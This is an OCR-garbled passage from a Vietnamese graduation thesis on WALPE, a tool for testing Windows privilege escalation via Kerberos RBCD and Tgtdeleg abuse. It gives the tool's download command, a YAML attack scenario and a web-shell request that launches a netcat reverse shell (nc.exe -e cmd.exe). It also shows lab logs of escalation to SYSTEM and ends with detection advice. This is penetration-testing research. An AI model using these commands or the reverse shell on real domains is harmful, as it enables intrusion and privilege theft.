Sơ đồ hoạt động

Một phần của tài liệu Công cụ kiểm thử leo thang đặc quyền trên Windows thông qua các giao thức xác thực (Trang 69 - 79)

DỤNG PHƯƠNG THỨC XÁC THỰC

3.2. Phan tich thiét ké

3.2.3. Sơ đồ hoạt động

Khởi động GoAutoWalpe (automateWALPE.exe)

Đọc thông tin kịch ban tấn công

(mặc định: conf.yaml)

: F ; Kiểm thử gián tiếp

Kiểm thử trực tiếp (thông qua TCP netcat)

Hình 3.25: Sơ đô hoạt động của công cụ

Công cụ gồm 2 mô đun chính gồm kiểm thử tự động theo kịch bản và thử

nghiệm tấn công, cụ thé:

- Tht nghiệm tấn công là phương pháp sử dụng 2 kỹ thuật được trình bay trong chương 2. Người dùng sẽ cần nhập các thông tin đầu vào dé thực hiện tấn công. Các thông báo lỗi sẽ hiện ra trực quan trên cửa số dòng

lệnh.

56

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

- Kiểm thử tự động là dựa trên các command truyền vào của công cụ thử

nghiệm tấn công sẽ xây dựng lên các kịch bản sau đó truyền vào cho công cụ này kiểm tra các kịch bản. Sau khi chạy hết các kịch bản sẽ có kết quả trả về trong cửa số dòng lệnh và thông báo của công cụ thử nghiệm tấn công trong quá trình chạy sẽ được ghi log lại.

3.3. Cài đặt công cụ

Tải công cụ về tại đường dẫn:

https://github.com/TrQ-Hoan/WALPE/releases/download/20231230/walpe.zip hoặc qua câu lệnh:

curl -O -L https://github.com/TrQ-Hoan/WALPE/releases/download/20231230/walpe.zip

q TrQ-Hoan / WALPE | Public QY Notifications Fork 0 VW Star 0 x

€> Code G) Issues [1 Pullrequests ©) Actions [| Projects © Security |e Insights

Releases / 20231230

Compare +

20231230 (ots)

@ TrQ-Hoan released this 7 minutes ago .1 commit to master since this release © 20231230 -o- @db98e3

vAssets 3

2.18 MB 8 minutes ago

Qwalpe.zip

9 minutes ago

Source code (zip)

Source code (tar.gz) 9 minutes ago3) 5

Hình 3.26: Tải công cu WALPE từ Github

Mật khẩu giải nén công cụ: 20231230

57

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

3.4. Thử nghiệm và đánh gia

Kịch bản đánh giá tự động cho cả hệ thống thử nghiệm, như sau:

- att_name: "rbcd"

att_cmd: ".\\SharpWALPE.exe rbcd -m NEWCOMPUTER -p pAsswoOrd -c"

cred_cmd: "whoamii /user /priv"

cred_dir: "%cwd%"

cred_file_pre: "rocd_pre.txt"

cred_file_aft: "rocd_aft.txt"

- att_name: "tgtdeleg"

att_cmd: "C:\\Users\\Public\\SharpWALPE.exe tgtdeleg -c"

cred_cmd: "whoamii /user /priv"

cred_dir: "C:\\Users\\Public"

cred_file_pre: "tgtdeleg_pre.txt"

cred_file_aft: "tgtdeleg_aft.txt"

rem_att:

remcon_port: "2333"

remcon_cmd: "curl http://127.0.0.1/shell.asp?command=C%3A

%5CUsers%5CPublic%5Cnc.exe+127.0.0.1+2333+-e+cmd.exe"

remcon_ delay: 3

Hình 3.27: Kịch bản đánh giá tự động (trong thử nghiệm)

Kịch bản đánh giá để chạy thử nghiệm là thực thi hai phương thức tấn công RBCD và Tgtdeleg, cụ thể:

- Với phương thức tấn công RBCD sẽ sử dụng hai tham số là tên của máy mới cần tạo là NEWCOMPUTER và mật khâu của máy tính nay, còn các kiểm tra đặc quyền sẽ là sử dụng câu lệnh whoami /user /priv để kiểm tra quyền của tiến trình trước và sau khi chạy tấn công sau đó sẽ lấy thông tin SID dé so sánh với nhau dé xem đã leo thang đặc quyền thành công

hay chưa

- _ Với phương thức tan công Tgtdeleg sẽ sử dụng hình thức tan công gián tiếp thông qua một kết nỗi TCP. Vi trong phương thức tấn công này cần sử dụng một câu lệnh với quyền của dịch vụ nên ý tưởng sẽ là tạo ra một cửa số dòng lệnh với quyền của dịch vụ ứng dụng web sau đó nhận câu lệnh và kết quả câu lệnh thông qua kết nối tep. Cách kiêm tra đặc quyền

58

Tran Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows dé xác định xem đã leo thang đặc quyền đã thành công chưa vẫn sử dụng

câu lệnh whoami /user /priv và cách kiểm tra tương tự RBCD.

Chi tiết các thông tin để tạo một kịch bản có thể sử dụng tham số -hdsd của công cụ automateWALPE.exe dé kiểm tra, như sau:

i walpe env — Oo x Microsoft Windows [Version 10.@.18362.30] a

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\share>automateWALPE.exe -hdsd

Giới thiệu: Công cụ kiểm thử leo thang đặc guyền trên Windows thông qua các giao thức xác thực.

Công cụ sử dụng câu lệnh kiểm tra quyền của người dùng trước và sau khi thực hiện tấn công, kịch bản/hình thức tấn công được cài đặt trong file config.yaml (tuỳ chỉnh).

Khi sử dụng công cụ cần có file cấu hình .yaml có dạng như sau:

- att name: (tên của kỹ thuật tấn công)

att_cmd: (lệnh thực thi tấn công)

cred_cmd: (lệnh thực thi thu thập thông tin quyền của người dùng, nên sử dụng whoami) cred_dir: (đường dẫn lưu file chứa thông tin quyền của người dùng)

cred_file_pre: (tên file chứa thông tin quyền của người dùng trước khi tấn công) cred_file aft: (tên file chứa thông tin quyền của người dùng sau khi tấn công) rem_att: (tấn công từ xa - truỳ chọn, nếu không có thì bỏ qua)

remcon_port: (cổng dịch vụ tấn công từ xa)

remcon_cmd: (lệnh tạo revsershell để thi tấn công từ xa)

remcon_delay: (thời gian chờ khi gửi và nhận phản hồi của revsershell) Các trường thông tin khác có thể xem chỉ tiết trong phần -h hoặc --help.

Hình 3.28: Hướng dẫn bằng tiếng việt của automateWALPE

59

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

Thử nghiệm 1

- Hệ thống: Windows 10 Pro (1903) kết nối với AD+DC Windows Server

2016

- Dịch vụ: có dịch vụ Web IIS với Reverseshell có thé thực hiện các câu lệnh

của CMD

Chạy công cụ thử nghiệm tự động:

BE walpe_env — Oo x Microsoft Windows [Version 10.@.18362.30] “

(c) 2019 Microsoft Corporation. All rights reserved.

CC: \Users\pentester\Desktop\share>automateWALPE. exe [*] Number of attack(s): 2

[+] rbed

[+] tgtdeleg

[ =] ====—=—=—=—=—=—=—=—==—========================

[@i rbed

[#] rbcd - check privilege before attack [+] Successful

[#] rbcd - attacking...

[+] Successful [@] tgtdeleg

[#] tgtdelag - remote attack

[#] New connection from: 127.0.0.1:49756

[#] tgtdeleg - check privilege before attack [+] Successful

[#] tgtdeleg - attacking...

[+] Successful

[*] Connection closed: 127.0.0.1:49750 [=] ee

[~] ATTACK RESULT

[~] rbed [V] Success [~] tgtdeleg [V] Success

(C: \Users\pentester \Desktop\share>

Hình 3.29: Kết quả thie nghiệm 1 - automateWALPE

Sau khi chạy công cụ thử nghiệm tự động thì thay cả 2 phương pháp tan công đều thành công. Thực hiện kiểm tra 2 phương pháp này thủ công.

60

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

61

Tran Quốc Hoan - BI9DCATO077

Đồ án tốt nghiệp Xác thực và kiểm soát đặc quyên trên Windows

Chạy thử nghiệm tấn công RBCD

Microsoft Windows [Version 10.0.18362.30]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\share>whoami proniknoveniye\pentester

C:\Users\pentester\Desktop\share>whoami /priv

Privilege Name Description State SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled

SeTncreasellorkingSetPrivilege Increase a process working set Disabled

SeTimeZonePrivilege Change the time zone Disabled

C:\Users\pentester\Desktop\share>SharpWALPE.exe rbcd -m NENCOMPUTER -p pAssi Searching for the target computer account

Target user found: CN=NEWCOMPUTER, CN=Computerss ,DC=j The computer account already exists.

Sid of the new computer account: S-1-5-21-3407162097-421674631-3260644744- NEWCOMPUTER$ can now impersonate users on CN=PC-WX19@3,CN=Computers,DC = pi Using rc4_hmac hash: 8BD6435FE@3A4D206F21AC980D2712F8

Building AS-REQ (w/ preauth) for: "proniknoveniye.1oca1\NEIICOMPUTER"

Using domain controller: 192.168.125.162:88 TGT request successful!

Building S4U2self request for: 'NEMCOMPUTER@PRONTKNOVENIYE.LOCAL"

Using domain controller: DC@1-WINSV19.proniknoveniye.local (192.168.125.16:

`

11 roniknoveniye,DC=1oca1

11 11 11 1}

] Sending S4U2self request to 192.168.125.162:88

11 11 11 11 11 11 1

S4U2se1f success!

Got a TGS for ‘proniknoveniye.local\Administrator’ to 'NEWCOMPUTER@PRONII Impersonating user 'proniknoveniye.1oca1\Administrator" to target SPN ‘HOS Building S4U2proxy request for service: ‘HOST/PC-WX1903"

DC@1-WINSV19. proniknoveniye.local (192.168.125.16:

8 Using domain controller

Sending S4U2proxy request to domain controller 192.168.125.16:

S4U2proxy succes:

Ticket successfully imported!

Using ticket to connect to Service Manger

AcquireCredentialsHandleHook called for package N Changing to Kerberos package

InitializeSecurityContextHook called for target H

InitializeSecurityContext The function completed successfully, but must be called again to complete the context (code: 0x00099312)

Hinh 3.30: Két qua thir nghiém I - RBCD Chay thử nghiệm tấn công Tgtdeleg

Microsoft Windows [Version 10.0.18362.30]

(€) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\share>curl http: //127.0.0.1/shel1.asp?command=CX3A%5CUsers%5CPublic%5Cnc. exe+127.0.0.1+2333+-e+cmd. exe

Microsoft Windows [Version 10.0.18362.30]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\shareằnc_-1vnp 2333 listening on [any] 2333 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 49778 Microsoft Windows [Version 10.0.18362.30]

(c) 2019 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami whoami,

iis apppool\defaultapppool

¢:\windows\system32\inetsrv>whoami /priv whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

SeAssignPrimaryTokenPrivilege Replace a process level token SeIncreaseQuotaPrivilege Adjust memory quotas for a process

‘SeShutdownPrivilege Shut down the system

SeAuditPrivilege Generate security audits SeChangeNotifyPrivilege Bypass traverse checking

SeUndockPrivilege Remove computer from docking station

‘SeImpersonatePrivilege Tmpersonate a client after authentication SeCreateGlobal Privilege Create global objects

SeTncreasehlorkingSetPrivilege Increase a process working set

‘SeTimeZonePrivilege Change the time zone Disabled

ci \windows\system32\inetsrv>C: \Users\Pub1ic\SharphlALPE.exe tgtdeleg -c C:\Users\Public\SharphALPE.exe system 1 C:\Users\Pub1ic\SharpMALPE.exe tgtdeleg -c C:\Users\Public\SharpWALPE.exe system 1

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com"

[*] Initializing Kerberos GSS-API w/ fake delegation for target ‘cifs/DC@1-WINSV19.proniknoveniye. local’

Hình 3.31: Kết quả thử nghiệm 1 - Tgtdeleg

62

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

Thử nghiệm 2

- Hệ thống: Windows 7 Ultimate kết nói với AD+DC Windows Server 2022

- Dịch vụ: Không cai dịch vụ nào Chạy công cụ thử nghiệm tự động:

r

ES C:\Windows\System32\cmd.exe | || & || s

ficrosoft Windows LUerslon 6.1. 6H1 ]

opyright €cc3 2669 Microsoft Corporation. All] rights reserved. ww C:xllsersxpentesterxDoun loads\bin>automateWALPE.exe

C¥] Number of attackts>: 2 [C+] nhcd

a tgtdeleg [@] rbed

{#1 nhcd — check privilege before attack [C+] Successful

(#1 nhcd — attacking...

C+] Successful [@] tgtdeleg

[#1 tgtdeleg — remote attack [#] Waiting 1@s for connection

[=] =E==E=================================

[“] ATTACK RESULT

[T1 rbed [U] Success

C:xUsersxpentesterxDoun loads \bin>

4 | HI lò

Hình 3.32: Kết quả thử nghiệm 2 - automateWALPE

Chạy thử nghiệm tan công RBCD

63

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiểm soát đặc quyên trên Windows

fa C:\Windows\System32\cmd.exe Ei Administrator: C:\Windows\system32\cmd.exe licrosoft Windows [Version 6.1.76811 Microsoft Windows [Version 6.1.76011

opyright <c) 2089 Microsoft Corporation. All rights reserved. Copyright <c> 2089 Microsoft Corporation. All rights :\Users\pentester\Doun loads\bin >whoami Ic: \Windows\s ystem32 whoami

iexpurgator\pentester int authority\system

:\Users\pentester\Down loads\bin>whoami /priv C:\Windows\system32>whoami ⁄priu N 2 ON

Pl

Privilege Name Description State

eShut dounPrivilege Shut down the systen Disabled Replace a process level token

eChangeNot if yPrivilege Bypass traverse checking Enabled eyPrivilege Lock pages in memory

elindockPrivilege Remove computer from docking station Disabled eQuotaPrivilege Adjust memory quotas for a proc

eIncreasellorkingSetPrivilege Increase a process working set Disabled part of the operati eT imeZonePrivilege Change the time zone Disabled i i

:\Users\pentester\Doun loads\bin>SharpwALPE.exe rbcd —-m NEWCOMPUTER -p pfssw [*] Searching for the target computer account

[x] Target user found: CN=NEWCOMPUTER, CN=Conputers ,DC-kdesur, DC=net imePrivi Change ystem time

[*] The computer account already exists. ileSi Privilege Profile single proces Enabled [x] Sid of the new computer account: S—1—5-21-2717209385-3928489857-94277778 ePr: yPrivilege Increase scheduling priority Enabled [x1 NEUCOMPUTER$ can now impersonate users on CN=MALMON,CN=Computers.DC = kdô ae lege Greate a pagefile Enabled [x] Using c4 hnac hash: 8BD6435FE@3A4D206F21AC98AD2712F8 Greate permanent red objec Enabled [x1 Building AS-REQ <w/ preauth> for: ’kdesur.net\NEWCOMPUTER’ : Back up files and director Disabli [x1 Using domain controller: 172.16.67.146:88 ` Restore files and directories

[+] TGT request successfult SeShutdownPrivilege Shut down the system [x] Building S4U2self request for: “NEUCOHPUTERBKDCSUR.NET” SeDebugPrivilege Debug prograi

[x1 Using domain controller: WIN-SUR22.kdcsur.net (172.16 .67.146> SehuditPrivilege Generate security audits Enabled [x1 Sending S4U2self request to 172.16.67.146:88 SeSystemEnvironmentPrivilege Modify firmuare environment values Enabled [+] $4U2self success? SeChangeNot if yPr Bypass traverse checking Enabled [x] Got a TGS for *kdcsur.net\Administrator’ to ’NEWCOMPUTERGKDCSUR.NET’ SeUndockPrivilege Remove computer from docking station

[x] Impersonating user ’kdcsur.net\fdministrator’ to target SPN ”HOST/MALHON| DU G0 run Perform volume maintenance tai

[x] Building S4UZproxy request for service: *HOST/MALMON’ natePri: Impersonate a client after authentication Enabled

[x1 Using domain controller: WIN-SUR22.kdcsur.net (172.16 .67.146> E 6 global obj Enabled [x] Sending S4U2proxy request to domain controller 172.16 .67.146:88 ` ` Incr i Enabled

[+] S4U2proxy success? i ilege Chang: Enabled

[+] Ticket successfully imported? SeCreateSymbolicLinkPrivilege Create symbolic links Enabled [x] Using ticket to connect to Service Manger

[*] AcquireCredentialsHandleHook called for package N C:\Windows\s ystem32>

[x1 Changing to Kerberos package

[x1 InitializeSecurityContextHook called for target H

be i yGontext The function completed successfully, but must [x1 InitializeSecurityContextHook called for target H

[x1 InitializeSecurityContext The operation completed successfully (code: 8x [x1 UACBypassedSuc Service created

[x] UACBypassedSuc Service started [x1 Clean-up done

Hình 3.33: Kết quả thử nghiệm 2— RBCD

Kết quả thử nghiệm:

Thử nghiệm

TN 1 TN 2 Phương thức

Thành công, leo thang từ Thành công, leo thang từ

RBCD quyền người dùng lên quyền quyền người dùng lên quyền

NT Authority\SYSTEM NT Authority\SYSTEM

Thành công, leo thang từ

Tgtdeleg quyền dịch vụ web lên quyền -

NT Authority\SYSTEM

Windows 10 Pro (1903) kết nối

AD+DC Windows Server 2016 | Windows 7 Ultimate kết nối

Có dịch vụ Web IIS với AD+DC Windows Server 2022

Reverseshell có thé thực hiện Không cài dịch vụ nào

các câu lệnh của CMD

Đánh giá 64

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows Kết quả thử nghiệm thu được:

-_ Công cụ tự động và thử nghiệm leo thang tương thích trên cả Windows 7 và Windows 10 với Windows Server 2016 và các phiên ban cao hơn.

Đây là điểm mạnh so với công cụ S4UTomato[16] vì công cụ S4UTomato không chạy được trên các hệ thống Windows 7 nếu như

không cập nhật .NET do phiên bản .NET Framework của công cụ đó là 4.7.2.

- Công cụ thử nghiệm tự động hoạt động với cả hệ thống có thé không có đủ các thiết lập như trong kịch bản. Như thử nhiệm 2, hệ thống windows 7 không có dịch vụ web dé tạo kết nối mở dòng lệnh từ xa đến thì công cụ sẽ chờ trong một khoảng thời gian sau đó ngắt kết nối.

- Công cụ kiểm thử tự động có ghi lại log đầy đủ đầu ra của các bước khi

thực hiện các command.

Từ kết quả bên trên và thử nghiệm thực tế trên nhiều hệ thống khác nhau, công cụ hoạt động tốt và trả về kết quả trực quan, dễ dàng sử dụng và đạt được các yêu cầu trong phần phân tích thiết kế.

Trong quá trình thử nhiệm nhận thấy răng có thê sử dụng một số biện pháp sau dé phát hiện và ngăn chặn khi công cụ được sử dung trái phép:

- _ Sử dụng các phần mềm diệt virus, vì công cụ phát triển dựa trên các công cụ khác nên đã có sẵn signature đề phát hiện ra công cụ

- Với các hệ thống EDR bổ sung các tập luật (rules) dựa trên MITRE ATTCK T1550.003 [18], vì công cụ sử dụng các kỹ thuật tan công đã được ghi nhận nên các hành vi dé viết tập luật cho EDR đã có sẵn.

- Với đội ngũ ứng cứu sự cố (Incident Response) có thé phát hiện ra công

cụ đã khai thác thành công chưa thông qua Security Logs của Windows

Events Logs, bằng một số dấu vết sau: Kiểm thời điểm có log 4624

(Đăng nhập thành công), logon type: 3 (truy cập vào máy tính này từ

65

Tran Quốc Hoan - BI9DCATO077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

mạng) với tài khoản Administrator của domain và không lâu sau đó có

log 7045 (Tạo service) với command bất thường.

Từ những phát hiện rút ra trong quá trình thử nhiệm bên trên có thể sử dụng công cụ nảy trong thực tế với một số mục đích sau:

- Đánh giá tập luật với kỹ thuật MITRE ATTCK T1550.003 cua EDR trên

hệ thống

- anh giá giả thuyết trong quá trình ứng cứu sự cố khi không có dấu vết

TỐ rang

- Sử dụng là một công cụ trong các bài diễn tập mô phỏng tan công thực tế

Một phần của tài liệu Công cụ kiểm thử leo thang đặc quyền trên Windows thông qua các giao thức xác thực (Trang 69 - 79)

Tải bản đầy đủ (PDF)

(82 trang)